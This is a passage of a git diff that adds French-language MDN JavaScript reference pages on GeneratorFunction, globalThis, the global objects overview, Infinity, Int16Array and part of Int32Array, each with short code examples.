Les {{jsxref("Instructions/function*", "fonctions génératrices","",1)}} créées avec le constructeur GeneratorFunction sont analysés lorsque la fonction est crée. Cela est moins efficace que de déclarer un générateur avec une expression {{jsxref("Statements/function*", "function*")}} puis de l'appeler car ces fonctions sont analysées avec le reste du code (ce qui permet au moteur JavaScript d'effectuer certaines optimisations).

+ +

Tous les arguments passés à la fonction sont traités par la suite avec les noms des identifiants utilisés pour les noms des paramètres lors de la création de la fonction et avec cet ordre là.

+ +
+

Note : Les {{jsxref("Instructions/function*", "générateurs","",1)}} créés avec le constructeur GeneratorFunction ne créent pas de fermetures avec leurs contextes de création. Ils sont toujours créés dans la portée globale. Lorsqu'ils sont exécutés, ils n'ont accès qu'à leurs variables locales et aux variables globales et ils n'ont pas accès aux variables de la portée où a eu lieu l'appel à GeneratorFunction. Ce comportement est différent de celui obtenu lorsqu'on appelle {{jsxref("Objets_globaux/eval", "eval")}} avec du code correspondant à une expression de générateur.

+
+ +

L'appel du constructeur GeneratorFunction comme fonction (c'est-à-dire sans utiliser l'opérateur new) aura le même effet que si celui-ci est invoqué comme constructeur.

+ +

Propriétés

+ +
+
GeneratorFunction.length
+
La propriété de longueur du constructeur GeneratorFunction qui vaut 1.
+
{{jsxref("GeneratorFunction.prototype")}}
+
Le prototype du constructeur qui permet d'ajouter des propriétés à tous les générateurs.
+
+ +

Le prototype de GeneratorFunction

+ +

Propriétés

+ +
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype', 'Properties')}}
+ +

Les instances de GeneratorFunction

+ +

Les instances de GeneratorFunction héritent des méthodes et propriétés de {{jsxref("GeneratorFunction.prototype")}}. Comme pour tous les constructeurs, il est possible de modifier le prototype afin d'apporter des modifications à toutes les instances de GeneratorFunction.

+ +

Exemples

+ +

Créer un générateur en utilisant le constructeur GeneratorFunction

+ +
var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
+var g = new GeneratorFunction("a", "yield a * 2");
+var itérateur = g(10);
+console.log(itérateur.next().value); // 20
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES2015', '#sec-generatorfunction-objects', 'GeneratorFunction')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.GeneratorFunction")}}

+
+ +

Voir aussi

+ +
    +
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • {{jsxref("Function")}}
    • +
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • +
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • +
  • {{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/globalthis/index.html b/files/fr/web/javascript/reference/global_objects/globalthis/index.html new file mode 100644 index 0000000000..30338dd4a9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/globalthis/index.html @@ -0,0 +1,87 @@ +--- +title: globalThis +slug: Web/JavaScript/Reference/Objets_globaux/globalThis +tags: + - JavaScript + - Reference + - globalThis +translation_of: Web/JavaScript/Reference/Global_Objects/globalThis +--- +
{{jsSidebar("Objects")}}
+ +

La propriété globale globalThis renvoie l'objet global de plus haut niveau.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}
+ + + +

Syntaxe

+ +
globalThis
+
+ +

Description

+ +

Par le passé, il était nécessaire d'utiliser différentes syntaxes pour différents environnements afin d'accéder à la portée globale. Sur le Web, on peut utiliser {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}} ou {{domxref("Window.frames", "frames")}} ; pour les web workers, seul self peut être employé ; pour Node.js aucun de ces mots-clés ne fonctionne et il faut utiliser global.
+ Le mot-clé this pouvait être utilisé à l'intérieur des fonctions en mode non-strict mais vaudra sinon undefined dans les modules et dans les fonctions utilisant le mode strict.

+ +

La propriété globalThis fournit une méthode standard d'accès à l'objet this global, quel que soit l'environnement. Contrairement aux propriétés window et self, ce mot-clé fonctionnera quel que soit le contexte (que celui-ci soit doté de fenêtres ou non). Ainsi, on peut accéder à l'objet global de façon homogène, quel que soit l'environnement dans lequel le code est utilisé.

+ +

Pour mieux mémoriser ce nom, on se rappellera que la valeur de this dans la portée globale est globalThis.

+ +

Accès indirect à la variable globale dans un contexte web

+ +

Dans la plupart des environnements, globalThis sera une référence directe à l'objet global. Cependant, dans les navigateurs web, avec les principes de sécurité relatifs aux iframes et aux liens entre les fenêtres, globalThis fournira un {{jsxref("Proxy")}} sur l'objet global (auquel on n'aura donc pas accès directement).

+ +

Nommage

+ +

D'autres noms furent proposés pour cette fonctionnalité (tels que self et global) mais ils furent écartés car ils pouvaient entraîner des problèmes de compatibilité avec du code existant. Pour plus de détails, voir le document de la proposition pour le nommage.

+ +

Exemples

+ +

Avant l'introduction de globalThis, la seule façon qui permettait d'obtenir l'objet global de l'environnement de façon homogène était Function('return this')(). Toutefois, cela enfreignait certaines règles CSP avec certains réglages et es6-shim, par exemple, devait utiliser une logique conditionnelle :

+ +
var getGlobal = function () {
+  if (typeof self !== 'undefined') { return self; }
+  if (typeof window !== 'undefined') { return window; }
+  if (typeof global !== 'undefined') { return global; }
+  throw new Error("impossible de trouver l'objet global");
+};
+
+var globals = getGlobal();
+
+if (typeof globals.setTimeout !== 'function') {
+  // pas de setTimeout pour cet environnement
+}
+
+ +

Avec globalThis, il n'est plus nécessaire de parcourir les différents mots-clés des différents environnements :

+ +
if (typeof globalThis.setTimeout !== 'function') {
+  // pas de setTimeout pour cet environnement
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour globalThisProposition de niveau 3 (stage 3)
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.globalThis")}}

diff --git a/files/fr/web/javascript/reference/global_objects/index.html b/files/fr/web/javascript/reference/global_objects/index.html new file mode 100644 index 0000000000..6316e7f6fc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/index.html @@ -0,0 +1,185 @@ +--- +title: Objets globaux +slug: Web/JavaScript/Reference/Objets_globaux +tags: + - Aperçu + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects +--- +
{{jsSidebar("Objects")}}
+ +

Cette partie référence tous les objets natifs standards JavaScript, avec leurs propriétés et méthodes.

+ +

Le terme « objets globaux » (ou objets natifs standards) ne doit pas ici être confondu avec l'objet global. Ici, « objets globaux » se réfère aux objets de portée globale. L'objet global lui-même peut être accédé en utilisant {{jsxref("Opérateurs/L_opérateur_this", "this")}} dans la portée globale (uniquement lorsque le mode strict n'est pas utilisé, sinon, il renvoie {{jsxref("undefined")}}). En réalité, la portée globale consiste des propriétés de l'objet global (avec ses propriétés héritées, s'il en a).

+ +
+

Note : En mode strict, la portée globale représentée par this sera {{jsxref("undefined")}}.

+
+ +

Les autres objets de la portée globale sont créés par les scripts utilisateurs ou fournis par l'application hôte dans laquelle s'exécute JavaScript. Les objets mis à disposition par les navigateurs web sont documentés dans la référence API. Pour plus d'informations sur la distinction entre le DOM et JavaScript, voir l'aperçu des technologies JavaScript.

+ +

Objets globaux standards (par catégorie)

+ +

Propriétés - valeurs

+ +

Les propriétés globales renvoient une valeur simple, elles ne possèdent aucune propriété ou méthode :

+ +
    +
  • {{jsxref("Infinity")}}
    • +
  • {{jsxref("NaN")}}
    • +
  • {{jsxref("undefined")}}
    • +
  • le littéral {{jsxref("null")}}
    • +
  • {{JSxRef("globalThis")}}
    • +
+ +

Propriétés - fonctions

+ +

Les fonctions globales, appelées globalement (et non par rapport à un objet), renvoient directement leur résultat à l'objet appelant.

+ +
    +
  • {{jsxref("Objets_globaux/eval", "eval()")}}
    • +
  • {{jsxref("Objets_globaux/uneval", "uneval()")}} {{non-standard_inline()}}
    • +
  • {{jsxref("Objets_globaux/isFinite", "isFinite()")}}
    • +
  • {{jsxref("Objets_globaux/isNaN", "isNaN()")}}
    • +
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • +
  • {{jsxref("Objets_globaux/parseInt", "parseInt()")}}
    • +
  • {{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}
    • +
  • {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}
    • +
  • {{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}
    • +
  • {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}
    • +
  • {{jsxref("Objets_globaux/escape", "escape()")}} {{deprecated_inline()}}
    • +
  • {{jsxref("Objets_globaux/unescape", "unescape()")}} {{deprecated_inline()}}
    • +
+ +

Objets fondamentaux

+ +

Ces objets sont les objets fondamentaux de JavaScript. Parmi ces objets, on retrouve les objets génériques, les fonctions et les erreurs.

+ +
    +
  • {{jsxref("Object")}}
    • +
  • {{jsxref("Function")}}
    • +
  • {{jsxref("Boolean")}}
    • +
  • {{jsxref("Symbol")}}
    • +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("EvalError")}}
    • +
  • {{jsxref("InternalError")}} {{Non-standard_Inline}}
    • +
  • {{jsxref("RangeError")}}
    • +
  • {{jsxref("ReferenceError")}}
    • +
  • {{jsxref("StopIteration")}}
    • +
  • {{jsxref("SyntaxError")}}
    • +
  • {{jsxref("TypeError")}}
    • +
  • {{jsxref("URIError")}}
    • +
+ +

Nombres et dates

+ +

Ces objets permettent de manipuler les nombres, dates et calculs mathématiques.

+ +
    +
  • {{jsxref("Number")}}
    • +
  • {{JSxRef("BigInt")}}
    • +
  • {{jsxref("Math")}}
    • +
  • {{jsxref("Date")}}
    • +
+ +

Manipulation de textes

+ +

Ces objets permettent de manipuler des chaînes de caractères.

+ +
    +
  • {{jsxref("String")}}
    • +
  • {{jsxref("RegExp")}}
    • +
+ +

Collections indexées

+ +

Ces objets sont des collections ordonnées par un index. Cela inclut les tableaux (typés) et les objets semblables aux tableaux.

+ +
    +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("Int8Array")}}
    • +
  • {{jsxref("Uint8Array")}}
    • +
  • {{jsxref("Uint8ClampedArray")}}
    • +
  • {{jsxref("Int16Array")}}
    • +
  • {{jsxref("Uint16Array")}}
    • +
  • {{jsxref("Int32Array")}}
    • +
  • {{jsxref("Uint32Array")}}
    • +
  • {{jsxref("Float32Array")}}
    • +
  • {{jsxref("Float64Array")}}
    • +
  • {{jsxref("BigInt64Array")}}
    • +
  • {{jsxref("BigUint64Array")}}
    • +
+ +

Collections avec clefs

+ +

Ces objets représentent des collections d'objets avec clefs. Ils contiennent des éléments itérables, dans leur ordre d'insertion.

+ +
    +
  • {{jsxref("Map")}}
    • +
  • {{jsxref("Set")}}
    • +
  • {{jsxref("WeakMap")}}
    • +
  • {{jsxref("WeakSet")}}
    • +
+ +

Données structurées

+ +

Ces objets permettent de représenter et de manipuler des tampons de données (buffers) et des données utilisant la notation JSON (JavaScript Object Notation).

+ +
    +
  • {{jsxref("ArrayBuffer")}}
    • +
  • {{jsxref("SharedArrayBuffer")}} {{experimental_inline}}
    • +
  • {{jsxref("Atomics")}} {{experimental_inline}}
    • +
  • {{jsxref("DataView")}}
    • +
  • {{jsxref("JSON")}}
    • +
+ +

Objets de contrôle d'abstraction

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Generator")}}
    • +
  • {{jsxref("GeneratorFunction")}}
    • +
  • {{jsxref("AsyncFunction")}}{{experimental_inline}}
    • +
+ +

Introspection

+ +
    +
  • {{jsxref("Reflect")}}
    • +
  • {{jsxref("Proxy")}}
    • +
+ +

Internationalisation

+ +

Ces objets ont été ajoutés à ECMAScript pour des traitements dépendants de particularités linguistiques. Ils possèdent leur propre spécification.

+ +
    +
  • {{jsxref("Intl")}}
    • +
  • {{jsxref("Objets_globaux/Collator", "Intl.Collator")}}
    • +
  • {{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}
    • +
  • {{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}
    • +
  • {{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}
    • +
  • {{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}
    • +
  • {{jsxref("Objets_globaux/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • +
  • {{jsxref("Objets_globaux/Locale", "Intl.Locale")}}
    • +
+ +

WebAssembly

+ +
    +
  • {{jsxref("WebAssembly")}}
    • +
  • {{jsxref("WebAssembly.Module")}}
    • +
  • {{jsxref("WebAssembly.Instance")}}
    • +
  • {{jsxref("WebAssembly.Memory")}}
    • +
  • {{jsxref("WebAssembly.Table")}}
    • +
  • {{jsxref("WebAssembly.CompileError")}}
    • +
  • {{jsxref("WebAssembly.LinkError")}}
    • +
  • {{jsxref("WebAssembly.RuntimeError")}}
    • +
+ +

Autres

+ +
    +
  • {{JSxRef("Fonctions/arguments", "arguments")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/infinity/index.html b/files/fr/web/javascript/reference/global_objects/infinity/index.html new file mode 100644 index 0000000000..1259fea9c2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/infinity/index.html @@ -0,0 +1,83 @@ +--- +title: Infinity +slug: Web/JavaScript/Reference/Objets_globaux/Infinity +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Infinity +--- +
{{jsSidebar("Objects")}}
+ +

La propriété globale Infinity est une valeur numérique représentant l'infini.

+ +

{{js_property_attributes(0,0,0)}}

+ +
{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}
+ + + +

Syntaxe

+ +
Infinity
+ +

Description

+ +

Infinity est une propriété de l'objet global , c'est-à-dire qu'elle est accessible globalement.

+ +

La valeur initiale d'Infinity est {{jsxref("Number.POSITIVE_INFINITY")}}. La valeur Infinity (infinité positive) est une valeur plus grande que n'importe quel nombre. Cette valeur se comporte comme l'infini mathématique ; par exemple, tout ce qui est multiplié par Infinity vaut Infinity, et tout ce qui est divisé par Infinity vaut 0.

+ +

D'après la spécification ECMAScript 5, Infinity est en lecture seule.

+ +

Exemples

+ +
console.log(Infinity);          // Infinity
+console.log(Infinity + 1);      // Infinity
+console.log(Math.pow(10, 1000)); // Infinity
+console.log(Math.log(0));       // -Infinity
+console.log(1 / Infinity);      // 0
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Infinity")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number.NEGATIVE_INFINITY")}}
    • +
  • {{jsxref("Number.POSITIVE_INFINITY")}}
    • +
  • {{jsxref("Number.isFinite")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/int16array/index.html b/files/fr/web/javascript/reference/global_objects/int16array/index.html new file mode 100644 index 0000000000..fc882ab1b9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/int16array/index.html @@ -0,0 +1,205 @@ +--- +title: Int16Array +slug: Web/JavaScript/Reference/Objets_globaux/Int16Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/Int16Array +--- +
{{JSRef}}
+ +

Le tableau typé Int16Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 16 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

+ +

Syntaxe

+ +
new Int16Array(); // apparu avec ES2017
+new Int16Array(longueur);
+new Int16Array(tableauTypé);
+new Int16Array(objet);
+new Int16Array(buffer [, positionOctet [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int16Array.BYTES_PER_ELEMENT")}}
+
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int16Array, la propriété vaudra 2.
+
Int16Array.length
+
Une propriété de longueur qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Int16Array.name")}}
+
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int16Array, la propriété vaudra "Int16Array".
+
{{jsxref("TypedArray.prototype", "Int16Array.prototype")}}
+
Prototype pour les objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Int16Array.from()")}}
+
Crée un nouvel objet Int16Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Int16Array.of()")}}
+
Crée un nouvel objet Int16Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.
+
+ +

Prototype de Int16Array

+ +

Tous les objets Int16Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Int16Array.prototype.constructor
+
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Int16Array.
+
{{jsxref("TypedArray.prototype.buffer", "Int16Array.prototype.buffer")}} {{readonlyInline}}
+
Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet Int16Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Int16Array.prototype.byteLength")}} {{readonlyInline}}
+
Renvoie la longueur, exprimée en octets, de l'objet Int16Array depuis le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Int16Array.prototype.byteOffset")}} {{readonlyInline}}
+
Renvoie le décalage, exprimé en octets, entre l'objet Int16Array et le début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}} {{readonlyInline}}
+
Renvoie le nombre d'éléments contenus dans l'objet Int16Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Int16Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Int16Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Int16Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Int16Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Int16Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Int16Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Int16Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Int16Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Int16Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Int16Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Int16Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Int16Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Int16Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Int16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int16Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Int16Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Int16Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Int16Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Int16Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Int16Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Int16Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Int16Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Int16Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Int16Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Int16Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Int16Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Int16Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Int16Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un Int16Array :

+ +
// Construction à partir d'une longueur
+var int16 = new Int16Array(2);
+int16[0] = 42;
+console.log(int16[0]); // 42
+console.log(int16.length); // 2
+console.log(int16.BYTES_PER_ELEMENT); // 2
+
+// Construction à partir d'un tableau
+var arr = new Int16Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int16Array([21, 31]);
+var y = new Int16Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int16Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int16 = new Int16Array(iterable);
+// Int16Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée dans ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Int16Array afin d'utiliser l'opération interne ToIndex pour permettre de l'utiliser sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Int16Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Int16Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Int16Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Int16Array([1, 2, 3]);
+// TypeError: calling a builtin Int16Array constructor
+// without new is forbidden
+ +
var dv = new Int16Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/int32array/index.html b/files/fr/web/javascript/reference/global_objects/int32array/index.html new file mode 100644 index 0000000000..ecdc62a803 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/int32array/index.html @@ -0,0 +1,205 @@ +--- +title: Int32Array +slug: Web/JavaScript/Reference/Objets_globaux/Int32Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/Int32Array +--- +
{{JSRef}}
+ +

Le tableau typé Int32Array permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 32 bits et dans l'ordre des octets de la plate-forme. Pour avoir un contrôle sur le boutisme utilisé, il faudra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).

+ +

Syntaxe

+ +
new Int32Array(); // apparu avec ES2017
+new Int32Array(longueur);
+new Int32Array(tableauTypé);
+new Int32Array(objet);
+new Int32Array(buffer [, positionOctet [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les tableaux typés (TypedArray).

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int32Array.BYTES_PER_ELEMENT")}}
+
Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de Int32Array, la propriété vaudra 4.
+
Int32Array.length
+
Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Int32Array.name")}}
+
Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de Int32Array, la propriété vaudra "Int32Array".
+
{{jsxref("TypedArray.prototype", "Int32Array.prototype")}}
+
Prototype pour les objets TypedArray.
+
+ +

Méthodes

+ +
+
Int32Array.from()
+
Crée un nouvel objet Int32Array à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.
+
Int32Array.of()
+
Crée un nouvel objet Int32Array à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}
+
+ +

Prototype de Int32Array

+ +

Tous les objets Int32Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Int32Array.prototype.constructor
+
Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif Int32Array.
+
{{jsxref("TypedArray.prototype.buffer", "Int32Array.prototype.buffer")}} {{readonlyInline}}
+
Renvoie l'{{jsxref("ArrayBuffer")}} référencée par l'objet Int32Array. Cette propriété est déterminée lors de la construction de l'objet et n'est accessible qu'en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Int32Array.prototype.byteLength")}} {{readonlyInline}}
+
